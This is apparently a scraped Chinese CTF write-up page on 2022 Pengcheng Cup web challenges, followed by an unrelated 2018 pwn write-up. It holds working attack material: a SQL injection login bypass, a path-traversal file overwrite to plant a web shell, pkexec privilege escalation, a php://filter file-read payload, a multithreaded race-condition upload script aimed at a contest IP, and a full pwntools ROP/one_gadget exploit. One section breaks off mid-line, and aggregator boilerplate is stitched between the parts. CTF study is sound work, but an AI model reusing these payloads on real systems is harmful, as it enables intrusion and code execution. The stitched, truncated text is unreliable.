2022鹏城杯

Posted Z3eyOnd

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2022鹏城杯相关的知识,希望对你有一定的参考价值。

复现环境

NSSCTF

高手高手高高手

因为没有复现环境,我这儿只总结一下思路:

1.扫描目录发现git泄露,恢复源码

2.登录login.php,网上有漏洞,但是没有poc,就根据补丁一个一个看,这个思路好

3.SQL注入的地方

<?php 
function protect($str)
$str = str_replace("'", '\\\\'."'", $str);
            $str = "'".$str."'";
            return $str;

$column='id';
$table='nv_users';
$str="";
$where='cookie_hash = '.protect($str);
$order='';
$sql='SELECT ' . $column . ' FROM ' . $table . ' WHERE ' . $where . $order . ' LIMIT 1';
echo $sql;

对单引号实现了\\转义,这个绕过姿势可以学习我自己写个反斜杠则可以转义掉

payload

\\' || 1=1#

进入后台是一个文件覆盖的漏洞

可以将上传的文件写入,但是还要传个id,并且最终拼接成了路径是已存在的文件。
也就是说可以覆盖已有文件。
那么我们可以直接覆盖一个php文件。首页里面有个navigate_info.php,可以覆盖。
问题来了,对传入的id进行了替换,将…/替换成了空。
不过不要紧,可以采用双写绕过的方式。

学到了的姿势:对于replace这种,替换,就可以利用双写绕过

拿到马后,需要pkexec提权

然后需要删除掉网站根目录下的bocai.html、bocai.png,发现 bocai.html 和 bocai.png 不能删、不能移动

利用 chattr -a bocai* 命令去除该属性

最后执行flag的可执行文件就可。

简单包含

考点:就是一个php的伪协议读文件内容

这个题有点脑洞

直接读flag.php是返回waf的

<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;

最后的是需要传入很多参数就可以读flag

1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/convert.base64-encode/resource=flag.php

压缩包

考点:条件竞争

<?php
highlight_file(__FILE__);

function removedir($dir)
    $list= scandir($dir);
    foreach ($list as  $value) 
        if(is_file($dir.'/'.$value))
            unlink($dir.'/'.$value);
        else if($value!="."&&$value!="..")
            removedir($dir.'/'.$value);
        
    

//传进来一个文件名,"/tmp/".md5($content)
function unzip($filename)
    $result = [];
    //创建一个压缩对象
    $zip = new ZipArchive();
    //打开压缩文件
    $zip->open($filename);
    $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
    //创建目录
    if(!is_dir($dir))
        mkdir($dir);
    
    //解压到dir目录下
    if($zip->extractTo($dir))
        //遍历目录下文件
        foreach (scandir($dir) as  $value) 
            //查找指定字符在字符串中的最后一次出现
            $file_ext=strrchr($value, '.');
            $file_ext=strtolower($file_ext); //转换为小写
            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext=trim($file_ext); //收尾去空
            if(is_dir($dir."/".$value)&&$value!="."&&$value!="..")
                removedir($dir);
            
            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext))
                if(is_file($dir."/".$value))
                    unlink($dir."/".$value);
                else
                    if($value!="."&&$value!="..")
                        array_push($result,$value);
                

            

        
        $zip->close();
        unlink($filename);
        return json_encode($result);
    else
        return false;
    

$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content);
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>
[]
Warning: mkdir(): No such file or directory in /var/www/html/index.php on line 21
[][]

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

直接写脚本

import requests
import hashlib
import threading
import base64

url = "http://1.14.71.254:28451/"
sess=requests.session()
r = open("1.zip", "rb").read()
content = base64.b64encode(r)
data=
    'content': content

m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):
    while True:
        resp=session.post(url,data=data)
def read(session):
    while True:
        resp=session.get(url+f'static/upload/md/1.php')
        if resp.status_code==200:
            print("success")
if __name__=="__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

简单的php

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code)

鹏城杯_2018_treasure

鹏城杯_2018_treasure

首先检查一下保护:

技术图片

IDA分析

技术图片

我们先来看看settreasure()函数

技术图片

申请了两个内存空间,并往sea中复制了shellcode

看看这个shellcode,不知道干嘛的

技术图片

我们再来看看第二个函数

技术图片

读入一个长度小于等于9的shellcode,和我之前做的铁人三项(第五赛区)_2018_seven很像。

构造sys_read注入我们的shellcode

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)

#sys_read注入以下的ROP
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)#treasure()

之后再来一次ret2one_gadget ,感觉跟第一个函数没啥关系。

from pwn import *
context.log_level = ‘debug‘
context(os=‘linux‘,arch=‘amd64‘)
p = process(‘./2018_treasure‘)
elf = ELF(‘./2018_treasure‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc-2.27.so‘)
#gdb.attach(p,‘b *0x00400AB6‘)

p.sendlineafter(‘:‘,‘A‘)

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)


pop_rdi_ret = 0x0000000000400b83

pause()
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)
p.send(rop)
puts_addr = u64(p.recv(6).ljust(8,‘x00‘))
libc_base = puts_addr - libc.symbols[‘puts‘]
print ‘libc_base: ‘+hex(libc_base)
one = [0x4f322,0x4f2c5,0x10a38c]
one_gadget = libc_base +0x4f322


ret = 0x00000000004006a9

p.sendlineafter(‘:‘,‘A‘)
shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)
pause()
p.send(p64(ret)+p64(one_gadget))


p.interactive()

以上是关于2022鹏城杯的主要内容,如果未能解决你的问题,请参考以下文章

2022鹏城杯

鹏城杯_2018_treasure

鹏城杯_2018_treasure

2022年江西省赣育杯网络安全大赛学生组Web&Misc Writeup

2022年江西省赣育杯网络安全大赛学生组Web&Misc Writeup

2022年江西省赣育杯网络安全大赛学生组Web&Misc Writeup